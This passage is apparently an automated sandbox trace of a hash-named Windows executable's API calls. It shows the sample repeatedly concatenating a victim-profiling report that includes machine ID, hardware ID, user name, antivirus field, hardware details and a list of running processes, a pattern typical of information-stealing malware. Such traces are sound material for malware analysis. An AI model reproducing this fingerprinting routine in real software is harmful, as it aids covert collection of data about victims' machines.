Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n"
[0054.824] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x210, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0054.825] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- "
[0054.825] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- ", lpString2="svchost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe"
[0054.825] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe ["
[0054.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67daf8
[0054.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.825] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9a8
[0054.825] GetLastError () returned 0x7a
[0054.825] SetLastError (dwErrCode=0x7a)
[0054.825] GetLastError () returned 0x7a
[0054.825] SetLastError (dwErrCode=0x7a)
[0054.825] GetLastError () returned 0x7a
[0054.826] SetLastError (dwErrCode=0x7a)
[0054.826] GetLastError () returned 0x7a
[0054.826] SetLastError (dwErrCode=0x7a)
[0054.826] GetLastError () returned 0x7a
[0054.826] SetLastError (dwErrCode=0x7a)
[0054.826] GetLastError () returned 0x7a
[0054.826] SetLastError (dwErrCode=0x7a)
[0054.826] GetLastError () returned 0x7a
[0054.826] SetLastError (dwErrCode=0x7a)
[0054.826] GetLastError () returned 0x7a
[0054.826] SetLastError (dwErrCode=0x7a)
[0054.826] GetLastError () returned 0x7a
[0054.826] SetLastError (dwErrCode=0x7a)
[0054.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.826] GetLastError () returned 0x7a
[0054.826] SetLastError (dwErrCode=0x7a)
[0054.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9a8 | out: hHeap=0x670000) returned 1
[0054.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67daf8 | out: hHeap=0x670000) returned 1
[0054.827] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [", lpString2="880" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880"
[0054.827] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n"
[0054.827] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x210, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0054.827] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- "
[0054.827] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- ", lpString2="svchost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal 